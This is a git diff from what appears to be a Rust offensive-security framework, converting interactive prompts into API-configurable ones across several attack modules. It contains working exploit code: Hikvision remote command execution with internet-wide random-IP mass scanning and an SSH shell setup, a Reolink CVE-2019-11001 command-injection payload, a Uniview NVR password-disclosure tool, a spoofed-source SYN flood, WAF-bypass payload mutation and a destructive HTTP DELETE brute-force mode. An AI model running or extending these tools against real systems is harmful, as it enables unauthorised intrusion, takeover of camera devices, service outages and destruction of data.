const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MAX_CMD_LENGTH: usize = 22;
@@ -62,7 +65,7 @@ fn display_banner() {
);
}
/// Normalize target URL
/// Normalize target URL (preserves scheme and path, re-wraps IPv6)
fn normalize_target(raw: &str) -> String {
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
("http://", s)
@@ -243,6 +246,7 @@ async fn interactive_shell(client: &HikvisionClient) -> Result<()> {
Ok(())
}
/// Interactive command loop — CLI/shell only; reads stdin directly
async fn interactive_mode(client: &HikvisionClient) -> Result<()> {
println!("{}", "\n[*] Entering interactive command mode".cyan());
loop {
@@ -273,7 +277,6 @@ async fn quick_check(ip: &str, mode: ScanMode, custom_payload: &str) -> bool {
check_with_reboot(&client).await.unwrap_or(false)
},
ScanMode::CustomCommand => {
// Just execute validation blind command
match client.send_payload(custom_payload, 5).await {
Ok(resp) => resp.status().as_u16() == 200 || resp.status().as_u16() == 500,
Err(_) => false,
@@ -286,18 +289,19 @@ async fn quick_check(ip: &str, mode: ScanMode, custom_payload: &str) -> bool {
}
/// Mass scan mode
///
/// API prompts:
/// - "exclude_ranges" : y/n (default: y)
/// - "output_file" : filename (default: hikvision_hits.txt)
/// - "scan_mode" : "1" safe / "2" unsafe reboot / "3" custom (default: "1")
/// - "custom_payload" : max 22-char payload string for custom mode (default: "")
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
io::stdout().flush()?;
let mut excl_choice = String::new();
io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let use_exclusions = cfg_prompt_yes_no("exclude_ranges", "[?] Exclude reserved/private ranges?", true)?;
let mut exclusions = Vec::new();
if use_exclusions {
@@ -309,37 +313,25 @@ async fn run_mass_scan() -> Result<()> {
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: hikvision_hits.txt): ".cyan());
io::stdout().flush()?;
let mut outfile = String::new();
io::stdin().read_line(&mut outfile)?;
let outfile = outfile.trim();
let outfile = if outfile.is_empty() { "hikvision_hits.txt" } else { outfile };
let outfile = outfile.to_string();
let outfile = cfg_prompt_output_file("output_file", "[?] Output File", "hikvision_hits.txt")?;
// Prompt for Payload Mode
println!("{}", "[?] Select Payload Mode:".cyan());
println!(" 1. Safe Check (File Write/Read)");
println!(" 2. Unsafe Check (Reboot Device)");
println!(" 3. Custom Command");
print!("{}", "Select option [1-3] (default 1): ".cyan());
io::stdout().flush()?;
let mut mode_str = String::new();
io::stdin().read_line(&mut mode_str)?;
let mode_str = cfg_prompt_default("scan_mode", "[?] Select Payload Mode (1=Safe, 2=Unsafe Reboot, 3=Custom)", "1")?;
println!("[*] Scan mode: {}", match mode_str.trim() {
"2" => "Unsafe Reboot",
"3" => "Custom Command",
_ => "Safe Check (File Write/Read)",
});
let mode = match mode_str.trim() {
"2" => ScanMode::UnsafeReboot,
"3" => ScanMode::CustomCommand,
_ => ScanMode::SafeCheck,
};
let mut custom_payload = String::new();
if let ScanMode::CustomCommand = mode {
print!("{}", "[?] Enter Custom Command (max 22 chars): ".cyan());
io::stdout().flush()?;
io::stdin().read_line(&mut custom_payload)?;
custom_payload = custom_payload.trim().to_string();
}
let custom_payload = if let ScanMode::CustomCommand = mode {
cfg_prompt_default("custom_payload", "[?] Enter Custom Command (max 22 chars)", "")?
} else {
String::new()
};
let custom_payload = Arc::new(custom_payload);
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
@@ -389,7 +381,7 @@ async fn run_mass_scan() -> Result<()> {
let fnd = found.clone();
let tx = tx.clone();
let cp = custom_payload.clone();
let current_mode = mode; // Copy
let current_mode = mode;
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
@@ -410,6 +402,12 @@ async fn run_mass_scan() -> Result<()> {
}
}
/// Main entry point
///
/// API prompts (single-target mode):
/// - "mode" : "1" check / "2" reboot / "3" single cmd / "4" blind cmd / "5" interactive / "6" ssh shell — default "1"
/// - "command" : command string for modes 3/4 (default: "id")
/// - "confirm_reboot" : y/n for reboot confirmation (default: "n")
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
@@ -434,15 +432,12 @@ pub async fn run(target: &str) -> Result<()> {
println!(" {} Check with reboot (unsafe)", "2.".bold());
println!(" {} Execute single command", "3.".bold());
println!(" {} Execute blind command", "4.".bold());
println!(" {} Interactive shell mode", "5.".bold());
println!(" {} Interactive shell mode (CLI only)", "5.".bold());
println!(" {} Setup SSH shell (dropbear)", "6.".bold());
println!();
print!("{}", "Select option [1-6]: ".green());
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
// cfg_prompt_default falls back to interactive stdin in CLI mode
let choice = cfg_prompt_default("mode", "Select option [1-6]", "1")?;
let choice = choice.trim();
let client = HikvisionClient::new(host_port, proto, DEFAULT_TIMEOUT_SECS)?;
@@ -450,11 +445,7 @@ pub async fn run(target: &str) -> Result<()> {
match choice {
"1" => { check_vulnerable(&client, false).await?; }
"2" => {
println!();
print!("{}", "[!] This will reboot the device. Continue? [y/N]: ".red());
io::stdout().flush()?;
let mut confirm = String::new();
io::stdin().read_line(&mut confirm)?;
let confirm = cfg_prompt_default("confirm_reboot", "[!] This will reboot the device. Continue? [y/N]", "n")?;
if confirm.trim().eq_ignore_ascii_case("y") {
check_with_reboot(&client).await?;
} else {
@@ -463,14 +454,9 @@ pub async fn run(target: &str) -> Result<()> {
}
"3" => {
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
println!();
print!("{}", "Enter command to execute: ".green());
io::stdout().flush()?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd)?;
let cmd = cmd.trim();
if !cmd.is_empty() {
match execute_cmd(&client, cmd).await {
let cmd = cfg_prompt_default("command", "Enter command to execute", "id")?;
if !cmd.trim().is_empty() {
match execute_cmd(&client, cmd.trim()).await {
Ok(output) => {
println!("{}", "\n[+] Command output:".green());
println!("{}", output);
@@ -481,16 +467,12 @@ pub async fn run(target: &str) -> Result<()> {
}
"4" => {
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
println!();
print!("{}", "Enter blind command to execute: ".green());
io::stdout().flush()?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd)?;
let cmd = cmd.trim();
if !cmd.is_empty() { execute_blind_cmd(&client, cmd).await?; }
let cmd = cfg_prompt_default("command", "Enter blind command to execute", "id")?;
if !cmd.trim().is_empty() { execute_blind_cmd(&client, cmd.trim()).await?; }
}
"5" => {
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
// interactive_mode reads stdin directly — fine for CLI; API callers should use mode 3/4
interactive_mode(&client).await?;
}
"6" => {
src/modules/exploits/cameras/reolink/reolink_rce_cve_2019_11001.rs
+12 -27
View File
@@ -2,7 +2,7 @@ use anyhow::{Result, Context};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default};
use crate::utils::{cfg_prompt_required, cfg_prompt_default, normalize_target};
use urlencoding::encode;
/// Reolink Camera Authenticated Command Injection (CVE-2019-11001)
@@ -11,21 +11,22 @@ use urlencoding::encode;
/// Affected Models: RLC-410W, C1 Pro, C2 Pro, RLC-422W, RLC-511W (Firmware <= 1.0.227).
///
/// Parameter: `addr1` in `TestEmail` command.
///
/// API prompts:
/// - "username" : login username (default: admin)
/// - "password" : login password (required)
/// - "command" : OS command to inject (default: id)
pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_ip = if target.is_empty() {
prompt_required("Target IP")?
cfg_prompt_required("target", "Target IP")?
} else {
target.to_string()
};
let target_ip = normalize_target(&raw_ip)?;
// Default HTTP/HTTPS?
// Usually HTTP port 80 or HTTPS 443. We will default to HTTP but can try HTTPS if needed.
// Let's assume HTTP validation (can be simple URL).
let base_url = if target_ip.contains("://") {
target_ip.clone()
} else {
@@ -34,10 +35,10 @@ pub async fn run(target: &str) -> Result<()> {
println!("{} Target: {}", "[*]".blue(), base_url);
// Credentials required
let username = prompt_default("Username", "admin")?;
let password = prompt_required("Password")?;
let cmd = prompt_default("Command to execute", "id")?;
// Credentials — cfg_prompt_* falls back to stdin in CLI/shell mode
let username = cfg_prompt_default("username", "Username", "admin")?;
let password = cfg_prompt_required("password", "Password")?;
let cmd = cfg_prompt_default("command", "Command to execute", "id")?;
println!("{} Sending exploit...", "[*]".blue());
@@ -46,26 +47,14 @@ pub async fn run(target: &str) -> Result<()> {
.timeout(Duration::from_secs(15))
.build()?;
// Construct payload
// Command Injection style: test@test.com; <CMD>
// Construct payload — Command Injection style: test@test.com; <CMD>
let injection = format!("test@test.com; {}", cmd);
// The API requires specific structure. Based on PoC analysis.
// Usually sent as GET or POST. The PoC uses a GET with JSON-like structure in URL or POST body?
// Public docs say: /api.cgi?cmd=TestEmail...
// But Reolink API often takes a JSON body.
// Let's model after the known exploit path:
// Some versions accept it in the JSON body of a POST to /api.cgi
let url = format!("{}/api.cgi?cmd=TestEmail&user={}&password={}", base_url.trim_end_matches('/'), encode(&username), encode(&password));
// The body usually is a JSON array
let body = format!("[{{ \"cmd\": \"TestEmail\", \"action\": 0, \"param\": {{ \"addr1\": \"{}\", \"addr2\": \"test\", \"addr3\": \"test\", \"interval\": 60 }} }}]", injection);
// Some variants use GET but typically these APIs are POST with JSON.
// We will try POST.
let res = client.post(&url)
.header("Content-Type", "application/json")
.body(body)
@@ -76,10 +65,6 @@ pub async fn run(target: &str) -> Result<()> {
let status = res.status();
let text = res.text().await?;
// If successful, the command output might not be returned (Blind RCE).
// Or it might be returned in the 'value' or error message?
// Usually TestEmail triggers the mail binary.
if status.is_success() {
println!("{} Request sent successfully (HTTP {}).", "[+]".green(), status);
println!("{} Response: {}", "[*]".blue(), text);
src/modules/exploits/cameras/uniview/uniview_nvr_pwd_disclosure.rs
+13 -10
View File
@@ -5,9 +5,9 @@ use quick_xml::name::QName;
use quick_xml::Reader;
use reqwest::Client;
use std::collections::HashMap;
use std::fs::OpenOptions;
use std::io::Write;
use std::time::Duration;
use crate::utils::cfg_prompt_output_file;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
@@ -50,7 +50,7 @@ fn decode_pass(encoded: &str) -> String {
}
/// Strip any number of nested brackets and re-wrap once if IPv6
fn normalize_target(raw: &str) -> String {
fn normalize_target_local(raw: &str) -> String {
// Preserve or default to http://
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
("http://", s)
@@ -99,15 +99,18 @@ fn normalize_target(raw: &str) -> String {
format!("{}{}{}{}", scheme, wrapped, port_part, path)
}
/// API prompts:
/// - "output_file": output filename (default: nvr-success.txt)
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Normalize URL (scheme, IPv6 brackets, port, path)
// Note: This module uses custom URL normalization to preserve scheme and path
// Framework's normalize_target is for host:port only, so we keep custom implementation
let target = normalize_target(target);
// Use cfg_prompt_output_file so API callers can override the output path
let output_filename = cfg_prompt_output_file("output_file", "Output file", "nvr-success.txt")?;
// Note: This module uses local URL normalization to preserve scheme and path
let target = normalize_target_local(target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
@@ -139,11 +142,11 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[+] Software Version: {}", sw_ver).green());
// Prepare log file
let mut log = OpenOptions::new()
let mut log = std::fs::OpenOptions::new()
.create(true)
.append(true)
.open("nvr-success.txt")
.context("Unable to open nvr-success.txt")?;
.open(&output_filename)
.context("Unable to open output file")?;
writeln!(log, "\n==== Uniview NVR ====").ok();
writeln!(log, "Target: {}", target).ok();
@@ -207,7 +210,7 @@ pub async fn run(target: &str) -> Result<()> {
println!();
println!("{}", format!("[+] Total users found: {}", total_users).green().bold());
writeln!(log, "\n[+] Total users: {}", total_users).ok();
println!("{}", "[*] Results saved to nvr-success.txt".cyan());
println!("{}", format!("[*] Results saved to {}", output_filename).cyan());
println!("{}", "[!] Note: 'default' and 'HAUser' users may not be accessible remotely.".yellow());
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
src/modules/exploits/dos/null_syn_exhaustion.rs
+42 -6
View File
@@ -40,6 +40,8 @@ pub struct ExhaustionConfig {
target_port: u16,
source_port: Option<u16>,
use_random_source_ip: bool,
/// Optional manual override for local source IP (e.g. tun0 / VPN interface)
local_ip_override: Option<Ipv4Addr>,
worker_count: usize,
duration_secs: u64,
interval_mode: IntervalMode,
@@ -446,6 +448,28 @@ fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
"Use random (spoofed) source IPs? (requires root)",
false
)?;
// Manual local source IP (for VPN / tun interfaces)
// Only relevant when NOT spoofing — lets user pin to e.g. 10.10.14.5 (tun0)
let local_ip_override: Option<Ipv4Addr> = if !use_random_source_ip {
let auto_ip = get_local_ipv4_for(target_ip)
.unwrap_or(Ipv4Addr::new(127, 0, 0, 1));
let hint = format!(
"Local source IP (auto-detected: {}) — enter tun/VPN IP to override, or blank to use auto",
auto_ip
);
let override_input = prompt_default(&hint, "")?;
if override_input.is_empty() {
None // use auto-detected
} else {
let parsed: Ipv4Addr = override_input.trim().parse()
.map_err(|_| anyhow!("Invalid IPv4 address for local source IP"))?;
println!("{}", format!("[*] Using local IP override: {}", parsed).cyan());
Some(parsed)
}
} else {
None
};
// Worker count - default to CPU cores for optimal performance
let cpu_count = num_cpus::get();
@@ -495,6 +519,9 @@ fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
println!(" Target: {}:{}", target_ip, target_port);
println!(" Source Port: {}", source_port.map(|p| p.to_string()).unwrap_or_else(|| "random".into()));
println!(" Random IP: {}", if use_random_source_ip { "yes (spoofed - NEW IP per packet)" } else { "no" });
if let Some(ip) = local_ip_override {
println!(" Local IP: {} (manual override)", ip);
}
println!(" Workers: {} threads", worker_count);
println!(" Duration: {}s", duration_secs);
println!(" Interval: {:?}", interval_mode);
@@ -514,6 +541,7 @@ fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
target_port,
source_port,
use_random_source_ip,
local_ip_override,
worker_count,
duration_secs,
interval_mode,
@@ -530,11 +558,14 @@ async fn execute_attack(config: ExhaustionConfig) -> Result<()> {
let packets_sent = Arc::new(AtomicU64::new(0));
let bytes_sent = Arc::new(AtomicU64::new(0));
// Detect local IP if needed (only used when NOT spoofing)
let local_ip = if !config.use_random_source_ip {
get_local_ipv4().unwrap_or(Ipv4Addr::new(127, 0, 0, 1))
} else {
// Resolve local IP: manual override > route-probed > fallback loopback
let local_ip = if config.use_random_source_ip {
Ipv4Addr::UNSPECIFIED
} else if let Some(override_ip) = config.local_ip_override {
override_ip
} else {
get_local_ipv4_for(config.target_ip)
.unwrap_or(Ipv4Addr::new(127, 0, 0, 1))
};
if config.use_random_source_ip {
@@ -625,10 +656,15 @@ async fn execute_attack(config: ExhaustionConfig) -> Result<()> {
Ok(())
}
fn get_local_ipv4() -> Option<Ipv4Addr> {
/// Detect the local IPv4 address that would be used to reach `target`.
/// By routing a dummy UDP socket toward the actual target, the kernel
/// selects the correct outbound interface (e.g. tun0 for VPN targets),
/// giving a more accurate source IP than always probing via 8.8.8.8.
fn get_local_ipv4_for(target: Ipv4Addr) -> Option<Ipv4Addr> {
use std::net::UdpSocket;
let socket = UdpSocket::bind("0.0.0.0:0").ok()?;
socket.connect("8.8.8.8:80").ok()?;
// Use port 80 — no actual packet is sent; connect() just sets the route
socket.connect(format!("{}:80", target)).ok()?;
match socket.local_addr().ok()?.ip() {
IpAddr::V4(ip) => Some(ip),
_ => None,
src/modules/scanners/api_endpoint_scanner.rs
+79 -24
View File
@@ -10,7 +10,8 @@ use std::sync::atomic::{AtomicUsize, Ordering};
use std::sync::Arc;
use std::time::Instant;
use crate::utils::{prompt_existing_file, prompt_int_range, prompt_default, prompt_yes_no, prompt_wordlist, load_lines};
use crate::utils::{cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_wordlist, load_lines};
use crate::native::payload_mutator::{self, PayloadCategory, MutatorConfig};
use serde_json::json;
// =========================================================================
@@ -90,6 +91,9 @@ struct ScanConfig {
id_start: Option<usize>,
id_end: Option<usize>,
id_file_path: Option<String>,
// Mutation Engine Config
mutation_enabled: bool,
mutator_config: MutatorConfig,
}
#[derive(Clone, Debug, PartialEq)]
@@ -117,16 +121,16 @@ pub async fn run(target: &str) -> Result<()> {
println!();
// 1. Input parsing & Configuration
let output_dir_name = prompt_default("Output directory name", "api_scan_results")?;
let use_spoofing = prompt_yes_no("Enable IP Spoofing/Bypass headers logic? (Applies to all selected modules)", false)?;
let use_generic_payload = prompt_yes_no("Send generic JSON payload with POST/PUT/PATCH? (Better for API compatibility)", true)?;
let output_dir_name = cfg_prompt_default("output_dir", "Output directory name", "api_scan_results")?;
let use_spoofing = cfg_prompt_yes_no("use_spoofing", "Enable IP Spoofing/Bypass headers logic? (Applies to all selected modules)", false)?;
let use_generic_payload = cfg_prompt_yes_no("use_generic_payload", "Send generic JSON payload with POST/PUT/PATCH? (Better for API compatibility)", true)?;
// Method Selection
let mut methods = vec![Method::GET, Method::POST];
if prompt_yes_no("Enable DELETE method? (WARNING: Destructive)", false)? {
if cfg_prompt_yes_no("enable_delete", "Enable DELETE method? (WARNING: Destructive)", false)? {
methods.push(Method::DELETE);
}
if prompt_yes_no("Enable Extended HTTP methods (PUT, PATCH, HEAD, OPTIONS, CONNECT, TRACE, DEBUG)?", false)? {
if cfg_prompt_yes_no("enable_extended_methods", "Enable Extended HTTP methods (PUT, PATCH, HEAD, OPTIONS, CONNECT, TRACE, DEBUG)?", false)? {
methods.extend(vec![
Method::PUT, Method::PATCH, Method::HEAD, Method::OPTIONS, Method::CONNECT, Method::TRACE,
Method::PUT, Method::PATCH, Method::HEAD, Method::OPTIONS, Method::CONNECT, Method::TRACE,
@@ -141,7 +145,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("5. Path Traversal");
println!("6. ID/Payload Enumeration");
let module_selection = prompt_default("Selection", "1")?;
let module_selection = cfg_prompt_default("modules", "Selection", "1")?;
let mut modules = Vec::new();
for s in module_selection.split(',') {
@@ -164,10 +168,10 @@ pub async fn run(target: &str) -> Result<()> {
return Err(anyhow!("No modules selected!"));
}
let concurrency = prompt_int_range("Concurrency limit", 10, 1, 100)? as usize;
let concurrency = cfg_prompt_int_range("concurrency", "Concurrency limit", 10, 1, 100)? as usize;
// Bug 10: Configurable timeout
let timeout_secs = prompt_int_range("Timeout (seconds)", 10, 1, 60)? as u64;
let timeout_secs = cfg_prompt_int_range("timeout", "Timeout (seconds)", 10, 1, 60)? as u64;
// Injection Attacks Configuration
let sqli_payloads = if modules.contains(&ScanModule::SQLi) {
@@ -191,13 +195,13 @@ pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "Configure ID/Payload Enumeration:".cyan().bold());
println!("1. Numeric Range (e.g. 1-100)");
println!("2. File List (e.g. valid_ids.txt)");
let enum_choice = prompt_default("Selection", "1")?;
let enum_choice = cfg_prompt_default("enum_mode", "Selection", "1")?;
if enum_choice == "2" {
(None, None, Some(prompt_existing_file("Path to ID/Payload file")?))
(None, None, Some(cfg_prompt_existing_file("id_file", "Path to ID/Payload file")?))
} else {
let start = prompt_int_range("Start ID", 1, 0, 1000000)? as usize;
let end = prompt_int_range("End ID", 100, start as i64, 1000000)? as usize;
let start = cfg_prompt_int_range("id_start", "Start ID", 1, 0, 1000000)? as usize;
let end = cfg_prompt_int_range("id_end", "End ID", 100, start as i64, 1000000)? as usize;
if start > end {
return Err(anyhow!("Start ID must be less than or equal to End ID"));
}
@@ -207,6 +211,36 @@ pub async fn run(target: &str) -> Result<()> {
(None, None, None)
};
// Mutation Engine Configuration
let has_injection = modules.iter().any(|m| matches!(m, ScanModule::SQLi | ScanModule::NoSQLi | ScanModule::CMDi | ScanModule::PathTraversal));
let mutation_enabled = if has_injection {
println!("\n{}", "Dynamic Payload Mutation Engine:".cyan().bold());
cfg_prompt_yes_no("enable_mutations", "Enable dynamic payload mutations? (WAF bypass, exhaustive encoding)", true)?
} else {
false
};
let mutator_config = if mutation_enabled {
let depth = cfg_prompt_int_range("mutation_depth", "Mutation depth (generations of mutations)", 3, 1, 10)? as usize;
let max_variants = cfg_prompt_int_range("max_variants", "Max variants per seed payload", 15, 1, 50)? as usize;
let max_total = cfg_prompt_int_range("max_total_payloads", "Max total payloads per category", 500, 10, 5000)? as usize;
let traversal_depth = if modules.contains(&ScanModule::PathTraversal) {
cfg_prompt_int_range("traversal_max_depth", "Max traversal directory depth", 15, 1, 30)? as usize
} else { 15 };
let exhaustive = cfg_prompt_yes_no("exhaustive_encoding", "Exhaustive encoding chains? (tries every combination)", true)?;
println!("[+] Mutation engine: depth={}, max_variants={}, max_total={}, exhaustive={}",
depth, max_variants, max_total, exhaustive);
MutatorConfig {
depth,
max_variants_per_seed: max_variants,
max_total,
traversal_max_depth: traversal_depth,
exhaustive_encoding: exhaustive,
}
} else {
MutatorConfig::default()
};
// Validate and format target base URL
let target_base = if target.contains("://") {
target.trim_end_matches('/').to_string()
@@ -220,12 +254,12 @@ pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "Select Endpoint Source:".cyan().bold());
println!("1. Load from file (Known endpoints)");
println!("2. Brute-force/Enumerate (Discover using wordlist)");
let source_choice = prompt_default("Selection", "1")?;
let source_choice = cfg_prompt_default("endpoint_source", "Selection", "1")?;
let mut endpoints = if source_choice == "2" {
// Enumerate
let base_path = prompt_default("Base Path (e.g. /api/)", "/")?;
let wordlist_path = prompt_wordlist("Wordlist path")?;
let base_path = cfg_prompt_default("base_path", "Base Path (e.g. /api/)", "/")?;
let wordlist_path = cfg_prompt_wordlist("wordlist", "Wordlist path")?;
// Setup simple client for enumeration
let enum_client = Client::builder()
@@ -236,7 +270,7 @@ pub async fn run(target: &str) -> Result<()> {
enumerate_endpoints(&enum_client, &target_base, &base_path, &wordlist_path, concurrency).await?
} else {
// Load from file
let endpoint_file = prompt_existing_file("Path to endpoint list file")?;
let endpoint_file = cfg_prompt_existing_file("endpoint_file", "Path to endpoint list file")?;
parse_endpoint_file(&endpoint_file)?
};
@@ -275,6 +309,8 @@ pub async fn run(target: &str) -> Result<()> {
id_start,
id_end,
id_file_path,
mutation_enabled,
mutator_config,
});
let client = Arc::new(client);
@@ -319,15 +355,15 @@ pub async fn run(target: &str) -> Result<()> {
fn configure_injection_payloads(name: &str, default_payloads: &[&str]) -> Result<Option<Vec<String>>> {
println!(); // Add spacing
if !prompt_yes_no(&format!("Test for {} Injection?", name), false)? {
if !cfg_prompt_yes_no(&format!("test_{}", name.to_lowercase()), &format!("Test for {} Injection?", name), false)? {
return Ok(None);
}
if prompt_yes_no(&format!("Use default {} payloads?", name), true)? {
if cfg_prompt_yes_no(&format!("default_{}_payloads", name.to_lowercase()), &format!("Use default {} payloads?", name), true)? {
return Ok(Some(default_payloads.iter().map(|&s| s.to_string()).collect()));
}
let file_path = prompt_existing_file(&format!("Path to custom {} payload file", name))?;
let file_path = cfg_prompt_existing_file(&format!("{}_payload_file", name.to_lowercase()), &format!("Path to custom {} payload file", name))?;
let file = File::open(file_path)?;
let reader = BufReader::new(file);
let payloads: Vec<String> = reader.lines()
@@ -458,6 +494,21 @@ async fn enumerate_endpoints(client: &Client, target_base: &str, base_path: &str
Ok(results)
}
// =========================================================================
// MUTATION ENGINE INTEGRATION
// =========================================================================
/// Expand seed payloads with dynamic mutations if enabled
fn expand_with_mutations(seeds: &[String], category: PayloadCategory, config: &ScanConfig) -> Vec<String> {
if !config.mutation_enabled {
return seeds.to_vec();
}
let mutated = payload_mutator::mutate_payloads(seeds, category, &config.mutator_config);
println!(" [~] {} seeds → {} payloads ({:?}, depth={})",
seeds.len(), mutated.len(), category, config.mutator_config.depth);
mutated
}
// =========================================================================
// SCAN LOGIC
// =========================================================================
@@ -500,28 +551,32 @@ async fn scan_endpoint(client: &Client, config: &ScanConfig, endpoint: Endpoint)
},
ScanModule::SQLi => {
if let Some(payloads) = &config.sqli_payloads {
for payload in payloads {
let effective = expand_with_mutations(payloads, PayloadCategory::SQLi, config);
for payload in &effective {
perform_injection(client, &url, method.clone(), "SQLi", payload, &endpoint_dir, config).await;
}
}
},
ScanModule::NoSQLi => {
if let Some(payloads) = &config.nosqli_payloads {
for payload in payloads {
let effective = expand_with_mutations(payloads, PayloadCategory::NoSQLi, config);
for payload in &effective {
perform_injection(client, &url, method.clone(), "NoSQLi", payload, &endpoint_dir, config).await;
}
}
},
ScanModule::CMDi => {
if let Some(payloads) = &config.cmdi_payloads {
for payload in payloads {
let effective = expand_with_mutations(payloads, PayloadCategory::CMDi, config);
for payload in &effective {
perform_injection(client, &url, method.clone(), "CMDi", payload, &endpoint_dir, config).await;
}
}
},
ScanModule::PathTraversal => {
if let Some(payloads) = &config.traversal_payloads {
for payload in payloads {
let effective = expand_with_mutations(payloads, PayloadCategory::Traversal, config);
for payload in &effective {
perform_injection(client, &url, method.clone(), "Traversal", payload, &endpoint_dir, config).await;
}
}
src/modules/scanners/dir_brute.rs
+25 -25
View File
@@ -9,8 +9,8 @@ use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use tokio::sync::Semaphore;
use crate::utils::{
prompt_required, prompt_default, prompt_yes_no, prompt_wordlist,
normalize_target, load_lines, prompt_existing_file
cfg_prompt_required, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_wordlist,
normalize_target, load_lines, cfg_prompt_existing_file
};
use rand::seq::IndexedRandom;
@@ -81,7 +81,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("3. Load Template (Load -> Run)");
println!("4. Custom Attack (Wizard -> Run)");
let choice = prompt_default("Selection", "1")?;
let choice = cfg_prompt_default("mode", "Selection", "1")?;
let config = match choice.as_str() {
"1" => setup_quick_attack(target).await?,
@@ -119,7 +119,7 @@ async fn setup_quick_attack(initial_target: &str) -> Result<DirBruteConfig> {
let (proto, host, port, path) = parse_target_interactive(initial_target).await?;
// 2. Wordlist
let wordlist = prompt_wordlist("Wordlist path")?;
let wordlist = cfg_prompt_wordlist("wordlist", "Wordlist path")?;
Ok(DirBruteConfig {
target_host: host,
@@ -144,14 +144,14 @@ async fn setup_wizard(initial_target: &str) -> Result<DirBruteConfig> {
println!("2. Nuke Mode (GET, POST, PUT, HEAD, OPTIONS...) - Noisy!");
println!("3. TOTAL DESTRUCTION (Level 2 + DELETE) - DANGEROUS");
let mode_str = prompt_default("Mode", "1")?;
let mode_str = cfg_prompt_default("scan_mode", "Mode", "1")?;
let scan_mode = match mode_str.as_str() {
"3" => {
println!("\n{}", "!!! CRITICAL WARNING !!!".on_red().white().bold());
println!("{}", "You have selected TOTAL DESTRUCTION mode.".red().bold());
println!("This will attempt HTTP DELETE method on discovered resources.");
println!("This can PERMANENTLY DESTROY data on the target server.");
let confirm = prompt_required("Type 'DESTROY' to confirm")?;
let confirm = cfg_prompt_required("destroy_confirm", "Type 'DESTROY' to confirm")?;
if confirm != "DESTROY" {
println!("{}", "Confirmation failed. Reverting to Standard Mode.".yellow());
1
@@ -161,30 +161,30 @@ async fn setup_wizard(initial_target: &str) -> Result<DirBruteConfig> {
},
"2" => {
println!("\n{}", "[!] Warning: Nuke Mode sends multiple requests per path.".yellow());
if prompt_yes_no("Continue?", true)? { 2 } else { 1 }
if cfg_prompt_yes_no("continue_nuke", "Continue?", true)? { 2 } else { 1 }
},
_ => 1
};
// 3. Wordlist
let wordlist = prompt_wordlist("Wordlist path")?;
let wordlist = cfg_prompt_wordlist("wordlist", "Wordlist path")?;
// 4. Performance
let concurrency: usize = prompt_default("Concurrency (Threads)", "10")?.parse().unwrap_or(10);
let delay_ms: u64 = prompt_default("Delay per request (ms)", "200")?.parse().unwrap_or(200);
let concurrency: usize = cfg_prompt_default("concurrency", "Concurrency (Threads)", "10")?.parse().unwrap_or(10);
let delay_ms: u64 = cfg_prompt_default("delay_ms", "Delay per request (ms)", "200")?.parse().unwrap_or(200);
// 5. Evasion
let random_agent = prompt_yes_no("Use Random User-Agents?", false)?;
let random_agent = cfg_prompt_yes_no("random_agent", "Use Random User-Agents?", false)?;
let custom_cookies = if prompt_yes_no("Configure Custom Cookies (WAF/Cloudflare)?", false)? {
let custom_cookies = if cfg_prompt_yes_no("custom_cookies", "Configure Custom Cookies (WAF/Cloudflare)?", false)? {
println!("{}", "Enter cookie string (e.g. 'cf_clearance=XXX; _cfduid=YYY')".dimmed());
Some(prompt_required("Cookies")?)
Some(cfg_prompt_required("cookies", "Cookies")?)
} else {
None
};
// 6. Reporting
let verbose = prompt_yes_no("Verbose Output (show 403s)?", false)?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose Output (show 403s)?", false)?;
Ok(DirBruteConfig {
target_host: host,
@@ -205,7 +205,7 @@ async fn setup_wizard(initial_target: &str) -> Result<DirBruteConfig> {
async fn parse_target_interactive(raw: &str) -> Result<(String, String, u16, String)> {
// Basic normalization from utils
let resolved_ip = if raw.is_empty() {
prompt_required("Target Host/IP")?
cfg_prompt_required("target", "Target Host/IP")?
} else {
let normalized = normalize_target(raw)?;
// strip port if present in normalized, we ask for it separately to allow http/https logic
@@ -216,22 +216,22 @@ async fn parse_target_interactive(raw: &str) -> Result<(String, String, u16, Str
